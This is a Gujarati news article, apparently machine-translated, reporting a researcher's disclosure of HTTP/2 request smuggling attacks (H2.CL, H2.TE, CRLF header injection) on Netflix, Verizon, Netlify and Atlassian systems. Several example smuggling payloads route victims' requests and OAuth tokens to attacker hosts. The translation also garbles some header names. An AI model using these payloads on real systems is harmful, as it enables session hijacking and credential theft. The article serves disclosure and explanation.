ફ્રન્ટ-એન્ડ-બેકએન્ડ સિસ્ટમો પર નવો હુમલો જે તમને વિનંતીઓમાં ફાચર કરવાની મંજૂરી આપે છે

વેબ સિસ્ટમ્સ કે જેમાં ફ્રન્ટ એન્ડ HTTP/2 દ્વારા કનેક્શન્સ સ્વીકારે છે અને HTTP/1.1 દ્વારા બેકએન્ડ પર ટ્રાન્સમિટ કરે છે તે "HTTP વિનંતી દાણચોરી" હુમલાના નવા પ્રકારનો ખુલાસો કરવામાં આવ્યો છે, જે ખાસ ડિઝાઇન કરેલી ક્લાયન્ટ વિનંતીઓ મોકલીને પરવાનગી આપે છે. ફ્રન્ટએન્ડ અને બેકએન્ડ વચ્ચે સમાન પ્રવાહમાં પ્રક્રિયા કરાયેલ અન્ય વપરાશકર્તાઓની વિનંતીઓની સામગ્રીમાં ફાચર. હુમલાનો ઉપયોગ કાયદેસર વેબસાઇટ સાથેના સત્રમાં દૂષિત JavaScript કોડ દાખલ કરવા, ઍક્સેસ પ્રતિબંધ સિસ્ટમોને બાયપાસ કરવા અને પ્રમાણીકરણ પરિમાણોને અટકાવવા માટે થઈ શકે છે.

આ સમસ્યા વેબ પ્રોક્સી, લોડ બેલેન્સર્સ, વેબ એક્સિલરેટર્સ, કન્ટેન્ટ ડિલિવરી સિસ્ટમ્સ અને અન્ય રૂપરેખાંકનોને અસર કરે છે જેમાં વિનંતીઓને ફ્રન્ટ-એન્ડ-ટુ-બેકએન્ડ રીતે રીડાયરેક્ટ કરવામાં આવે છે. અભ્યાસના લેખકે Netflix, Verizon, Bitbucket, Netlify CDN અને Atlassian ની સિસ્ટમો પર હુમલો કરવાની શક્યતા દર્શાવી હતી અને નબળાઈઓને ઓળખવા માટે ઈનામ કાર્યક્રમોમાં 56 હજાર ડોલર મેળવ્યા હતા. F5 નેટવર્ક ઉત્પાદનોમાં પણ સમસ્યાની પુષ્ટિ કરવામાં આવી છે. સમસ્યા આંશિક રીતે Apache HTTP સર્વર (CVE-2021-33193) માં mod_proxy ને અસર કરે છે, સંસ્કરણ 2.4.49 માં સુધારાની અપેક્ષા છે (વિકાસકર્તાઓને મેની શરૂઆતમાં સમસ્યાની જાણ કરવામાં આવી હતી અને તેને ઠીક કરવા માટે 3 મહિના આપવામાં આવ્યા હતા). nginx માં, "સામગ્રી-લંબાઈ" અને "ટ્રાન્સફર-એનકોડિંગ" હેડરોને એકસાથે સ્પષ્ટ કરવાની ક્ષમતાને છેલ્લી રિલીઝ (1.21.1) માં અવરોધિત કરવામાં આવી હતી. એટેક ટૂલ્સ પહેલેથી જ Burp ટૂલકીટમાં સામેલ છે અને તે ટર્બો ઈન્ટ્રુડર એક્સટેન્શનના રૂપમાં ઉપલબ્ધ છે.

ટ્રાફિકમાં વેડિંગ વિનંતીઓની નવી પદ્ધતિના સંચાલનનો સિદ્ધાંત એ જ સંશોધક દ્વારા બે વર્ષ પહેલાં ઓળખવામાં આવેલી નબળાઈ સમાન છે, પરંતુ HTTP/1.1 પર વિનંતીઓ સ્વીકારતા ફ્રન્ટએન્ડ્સ સુધી મર્યાદિત છે. ચાલો યાદ કરીએ કે ફ્રન્ટએન્ડ-બેકએન્ડ સ્કીમમાં, ક્લાયંટની વિનંતીઓ વધારાના નોડ દ્વારા પ્રાપ્ત થાય છે - ફ્રન્ટએન્ડ, જે બેકએન્ડ સાથે લાંબા સમય સુધી ચાલતું TCP કનેક્શન સ્થાપિત કરે છે, જે વિનંતીઓની સીધી પ્રક્રિયા કરે છે. આ સામાન્ય કનેક્શન દ્વારા, વિવિધ વપરાશકર્તાઓની વિનંતીઓ સામાન્ય રીતે પ્રસારિત થાય છે, જે HTTP પ્રોટોકોલ દ્વારા અલગ કરીને એક પછી એક સાંકળને અનુસરે છે.

ક્લાસિક "HTTP વિનંતી દાણચોરી" હુમલો એ હકીકત પર આધારિત હતો કે ફ્રન્ટએન્ડ અને બેકએન્ડ HTTP હેડરો "સામગ્રી-લંબાઈ" (વિનંતિમાં ડેટાનું કુલ કદ નક્કી કરે છે) અને "ટ્રાન્સફર-એનકોડિંગ: ખંડિત" (પરવાનગી આપે છે) ના ઉપયોગનું અર્થઘટન કરે છે. ભાગોમાં ટ્રાન્સફર કરવાનો ડેટા) અલગ રીતે. . ઉદાહરણ તરીકે, જો ફ્રન્ટએન્ડ ફક્ત "સામગ્રી-લંબાઈ" ને સપોર્ટ કરે છે પરંતુ "ટ્રાન્સફર-એનકોડિંગ: ચુંક્ડ" ને અવગણે છે, તો હુમલાખોર વિનંતી મોકલી શકે છે જેમાં "સામગ્રી-લંબાઈ" અને "ટ્રાન્સફર-એનકોડિંગ: ચંક્ડ" હેડર બંને હોય, પરંતુ કદ "સામગ્રી-લંબાઈ" છે તે ચંક કરેલ સાંકળના કદ સાથે મેળ ખાતું નથી. આ કિસ્સામાં, ફ્રન્ટએન્ડ "સામગ્રી-લંબાઈ" અનુસાર વિનંતી પર પ્રક્રિયા કરશે અને રીડાયરેક્ટ કરશે, અને બેકએન્ડ "ટ્રાન્સફર-એનકોડિંગ: ચંક્ડ" પર આધારિત બ્લોક પૂર્ણ થવાની રાહ જોશે અને હુમલાખોરની વિનંતીની બાકીની પૂંછડી કરશે. આગળ પ્રસારિત કોઈ બીજાની વિનંતીની શરૂઆતમાં રહો.

ટેક્સ્ટ પ્રોટોકોલ HTTP/1.1થી વિપરીત, જે લાઇન લેવલ પર વિશ્લેષિત થાય છે, HTTP/2 એ બાઈનરી પ્રોટોકોલ છે અને પૂર્વ-નિર્દિષ્ટ કદના ડેટા બ્લોક્સની હેરફેર કરે છે. જો કે, HTTP/2 સ્યુડો-હેડરનો ઉપયોગ કરે છે જે નિયમિત HTTP હેડરોને અનુરૂપ હોય છે. HTTP/1.1 પ્રોટોકોલ દ્વારા બેકએન્ડ સાથે ક્રિયાપ્રતિક્રિયાના કિસ્સામાં, ફ્રન્ટએન્ડ આ સ્યુડો-હેડરોને સમાન HTTP હેડરો HTTP/1.1 માં અનુવાદિત કરે છે. સમસ્યા એ છે કે બેકએન્ડ મૂળ વિનંતીના પરિમાણો વિશેની માહિતી વિના, ફ્રન્ટએન્ડ દ્વારા સેટ કરેલા HTTP હેડરોના આધારે સ્ટ્રીમને પાર્સ કરવા વિશે નિર્ણયો લે છે.

ખાસ કરીને, મૂલ્યો "સામગ્રી-લંબાઈ" અને "ટ્રાન્સફર-એન્કોડિંગ" સ્યુડો-હેડરના સ્વરૂપમાં પ્રસારિત કરી શકાય છે, તે હકીકત હોવા છતાં કે તેઓ HTTP/2 માં ઉપયોગમાં લેવાતા નથી, કારણ કે તમામ ડેટાનું કદ નિર્ધારિત છે. એક અલગ ક્ષેત્રમાં. જો કે, HTTP/2 વિનંતીને HTTP/1.1 માં કન્વર્ટ કરવાની પ્રક્રિયા દરમિયાન, આ હેડરો વહન કરવામાં આવે છે અને બેકએન્ડને મૂંઝવી શકે છે. ત્યાં બે મુખ્ય હુમલા વેરિઅન્ટ્સ છે: H2.TE અને H2.CL, જેમાં બેકએન્ડને ખોટા ટ્રાન્સફર-એન્કોડિંગ અથવા સામગ્રી-લંબાઈના મૂલ્ય દ્વારા ગેરમાર્ગે દોરવામાં આવે છે જે ફ્રન્ટએન્ડ દ્વારા ફ્રન્ટએન્ડ દ્વારા પ્રાપ્ત કરેલી વિનંતીના શરીરના વાસ્તવિક કદને અનુરૂપ નથી. HTTP/2 પ્રોટોકોલ.

H2.CL હુમલાનું ઉદાહરણ Netflix ને HTTP/2 વિનંતી મોકલતી વખતે સામગ્રી-લંબાઈના સ્યુડો-હેડરમાં ખોટા કદનો ઉલ્લેખ કરવાનું છે. આ વિનંતિ HTTP/1.1 દ્વારા બેકએન્ડને ઍક્સેસ કરતી વખતે સમાન HTTP હેડર સામગ્રી-લંબાઈના ઉમેરા તરફ દોરી જાય છે, પરંતુ સામગ્રી-લંબાઈમાંનું કદ વાસ્તવિક કરતાં ઓછું નિર્દિષ્ટ કરવામાં આવ્યું હોવાથી, પૂંછડીમાંના ડેટાના ભાગ પર પ્રક્રિયા કરવામાં આવે છે. આગામી વિનંતીની શરૂઆત.

ઉદાહરણ તરીકે, HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 હોસ્ટની વિનંતી કરો: 02.rs?x.netflix.com Foo: bar

બેકએન્ડ પર મોકલવામાં આવેલી વિનંતીમાં પરિણમશે: POST /n HTTP/1.1 હોસ્ટ: www.netflix.com સામગ્રી-લંબાઈ: 4 abcdGET /n HTTP/1.1 હોસ્ટ: 02.rs?x.netflix.com Foo: bar

સામગ્રી-લંબાઈનું મૂલ્ય 4 હોવાથી, બેકએન્ડ વિનંતીના મુખ્ય ભાગ તરીકે ફક્ત "abcd" સ્વીકારશે અને બાકીના "GET /n HTTP/1.1..." પર અનુગામી વિનંતીની શરૂઆત તરીકે પ્રક્રિયા કરવામાં આવશે. અન્ય વપરાશકર્તા સાથે સંકળાયેલ. તદનુસાર, સ્ટ્રીમ ડિસિંક્રોનાઇઝ થઈ જશે અને આગલી વિનંતીના જવાબમાં, બનાવટી વિનંતી પર પ્રક્રિયા કરવાનું પરિણામ જારી કરવામાં આવશે. Netflix ના કિસ્સામાં, ડમી વિનંતીમાં "યજમાન:" હેડરમાં તૃતીય-પક્ષ હોસ્ટનો ઉલ્લેખ કરવાથી ક્લાયંટ "સ્થાન: https://02.rs?x.netflix.com/n" પ્રતિસાદ પરત કરે છે અને Netflix સાઇટના સંદર્ભમાં તમારો JavaScript કોડ ચલાવવા સહિત, ક્લાયન્ટને મનસ્વી સામગ્રી મોકલવાની મંજૂરી આપી છે.

બીજા હુમલાના વિકલ્પ (H2.TE)માં "ટ્રાન્સફર-એનકોડિંગ: ચંક્ડ" હેડરને બદલવાનો સમાવેશ થાય છે. HTTP/2 માં ટ્રાન્સફર-એન્કોડિંગ સ્યુડો-હેડરનો ઉપયોગ સ્પષ્ટીકરણ દ્વારા પ્રતિબંધિત છે અને તેની સાથેની વિનંતીઓને ખોટી ગણવામાં આવે છે. આ હોવા છતાં, કેટલાક ફ્રન્ટએન્ડ અમલીકરણો આ જરૂરિયાતને ધ્યાનમાં લેતા નથી અને HTTP/2 માં ટ્રાન્સફર-એન્કોડિંગ સ્યુડો-હેડરનો ઉપયોગ કરવાની મંજૂરી આપે છે, જે સમાન HTTP હેડરમાં રૂપાંતરિત થાય છે. જો ત્યાં "ટ્રાન્સફર-એનકોડિંગ" હેડર હોય, તો બેકએન્ડ તેને ઉચ્ચ અગ્રતા તરીકે લઈ શકે છે અને "{size}\r\n{block" ફોર્મેટમાં વિવિધ કદના બ્લોક્સનો ઉપયોગ કરીને "ચંક્ડ" મોડમાં ટુકડે ટુકડે ડેટાને પાર્સ કરી શકે છે. }\r\n{size} \r\n{block}\r\n0", એકંદર કદ દ્વારા પ્રારંભિક વિભાજન હોવા છતાં.

આવા અંતરની હાજરી વેરાઇઝનના ઉદાહરણ દ્વારા દર્શાવવામાં આવી હતી. સમસ્યા પ્રમાણીકરણ પોર્ટલ અને કન્ટેન્ટ મેનેજમેન્ટ સિસ્ટમથી સંબંધિત છે, જેનો ઉપયોગ હફિંગ્ટન પોસ્ટ અને એન્ગેજેટ જેવી સાઇટ્સ પર પણ થાય છે. ઉદાહરણ તરીકે, HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com ટ્રાન્સફર-એન્કોડિંગ 0 GET /oops HTTP/1.1 હોસ્ટ: psres.net સામગ્રી-લંબાઈ: 10 દ્વારા ક્લાયન્ટની વિનંતી x=

બેકએન્ડ પર HTTP/1.1 વિનંતી મોકલવામાં પરિણમ્યું: POST /identity/XUI HTTP/1.1 હોસ્ટ: id.b2b.oath.com સામગ્રી-લંબાઈ: 66 ટ્રાન્સફર-એનકોડિંગ: chunked 0 GET /oops HTTP/1.1 હોસ્ટ: psres. ચોખ્ખી સામગ્રી- લંબાઈ: 10x=

બેકએન્ડે, બદલામાં, "સામગ્રી-લંબાઈ" હેડરને અવગણ્યું અને "ટ્રાન્સફર-એનકોડિંગ: ચંક્ડ" પર આધારિત ઇન-સ્ટ્રીમ વિભાજન કર્યું. વ્યવહારમાં, હુમલાએ વપરાશકર્તાની વિનંતીઓને તેમની વેબસાઇટ પર રીડાયરેક્ટ કરવાનું શક્ય બનાવ્યું, જેમાં OAuth પ્રમાણીકરણ સંબંધિત વિનંતીઓને અટકાવવી, જેનાં પરિમાણો રેફરર હેડરમાં દર્શાવવામાં આવ્યા હતા, તેમજ પ્રમાણીકરણ સત્રનું અનુકરણ કરવું અને ઓળખપત્ર મોકલવા માટે વપરાશકર્તાની સિસ્ટમને ટ્રિગર કરવું. હુમલાખોરના યજમાનને. GET /b2blanding/show/oops HTTP/1.1 હોસ્ટ: psres.net રેફરર: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 હોસ્ટ: psres.net અધિકૃતતા: બેરર eyJhcGwiOiJIUzI1Gi1sInk…cCII6

ટ્રાન્સફર-એન્કોડિંગ સ્યુડો-હેડરને સ્પષ્ટ કરવાની મંજૂરી આપતા નથી તેવા HTTP/2 અમલીકરણો પર હુમલો કરવા માટે, બીજી પદ્ધતિ પ્રસ્તાવિત કરવામાં આવી છે જેમાં "ટ્રાન્સફર-એનકોડિંગ" હેડરને નવા લાઇન કેરેક્ટર દ્વારા અલગ કરાયેલા અન્ય સ્યુડો-હેડર સાથે જોડીને તેને બદલવાનો સમાવેશ થાય છે. જ્યારે આ કિસ્સામાં HTTP/1.1 માં રૂપાંતરિત થાય છે ત્યારે બે અલગ-અલગ HTTP હેડર બનાવે છે).

ઉદાહરણ તરીકે, Atlassian Jira અને Netlify CDN (Firefox માં મોઝિલા સ્ટાર્ટ પેજ આપવા માટે વપરાય છે) આ સમસ્યાથી પ્રભાવિત થયા હતા. ખાસ કરીને, HTTP/2 વિનંતી :method POST :path / :authority start.mozilla.org foo b\r\n ટ્રાન્સફર-એનકોડિંગ: 0\r\n \r\n GET / HTTP/1.1\r\n હોસ્ટ : evil-netlify-domain\r\n સામગ્રી-લંબાઈ: 5\r\n \r\nx=

પરિણામે HTTP/1.1 POST/HTTP/1.1 વિનંતી બેકએન્ડ પર મોકલવામાં આવી હતી\r\n હોસ્ટ: start.mozilla.org\r\n Foo: b\r\n ટ્રાન્સફર-એનકોડિંગ: chunked\r\n સામગ્રી-લંબાઈ : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n હોસ્ટ: evil-netlify-domain\r\n સામગ્રી-લંબાઈ: 5\r\n \r \nx=

"ટ્રાન્સફર-એનકોડિંગ" હેડરને બદલવા માટેનો બીજો વિકલ્પ તેને અન્ય સ્યુડો-હેડરના નામ સાથે અથવા વિનંતી પદ્ધતિ સાથેની લાઇન સાથે જોડવાનો હતો. ઉદાહરણ તરીકે, એટલાસિયન જીરાને ઍક્સેસ કરતી વખતે, સ્યુડો-હેડર નામ "foo: bar\r\ntransfer-encoding" મૂલ્ય "chunked" ને કારણે HTTP હેડરો "foo: bar" અને "transfer-encoding: chunked" ઉમેરવામાં આવ્યા. , અને સ્યુડો-હેડર ": પદ્ધતિ" મૂલ્યનો ઉલ્લેખ કરીને "GET/HTTP/1.1\r\nTransfer-encoding: chunked" નું ભાષાંતર "GET/HTTP/1.1\r\nટ્રાન્સફર-એનકોડિંગ: chunked" માં કરવામાં આવ્યું હતું.

સમસ્યાની ઓળખ કરનાર સંશોધકે ફ્રન્ટએન્ડ પર હુમલો કરવા માટે વિનંતી ટનલિંગ ટેકનિકનો પણ પ્રસ્તાવ મૂક્યો હતો, જેમાં દરેક IP સરનામું બેકએન્ડ સાથે અલગ જોડાણ સ્થાપિત કરે છે અને વિવિધ વપરાશકર્તાઓના ટ્રાફિકને મિશ્રિત કરવામાં આવતો નથી. સૂચિત તકનીક અન્ય વપરાશકર્તાઓની વિનંતીઓમાં દખલ કરવાની મંજૂરી આપતી નથી, પરંતુ શેર કરેલ કેશને ઝેર કરવાનું શક્ય બનાવે છે જે અન્ય વિનંતીઓની પ્રક્રિયાને અસર કરે છે, અને સેવાની માહિતીને ફ્રન્ટએન્ડથી બેકએન્ડમાં સ્થાનાંતરિત કરવા માટે ઉપયોગમાં લેવાતા આંતરિક HTTP હેડરોને બદલવાની મંજૂરી આપે છે ( ઉદાહરણ તરીકે, આવા હેડરોમાં ફ્રન્ટ એન્ડ બાજુ પર પ્રમાણીકરણ કરતી વખતે વર્તમાન વપરાશકર્તા વિશેની માહિતી બેકએન્ડમાં ટ્રાન્સમિટ કરી શકાય છે). વ્યવહારમાં પદ્ધતિને લાગુ કરવાના ઉદાહરણ તરીકે, કેશ પોઈઝનિંગનો ઉપયોગ કરીને, બીટબકેટ સેવામાં પૃષ્ઠો પર નિયંત્રણ મેળવવું શક્ય હતું.

સોર્સ: opennet.ru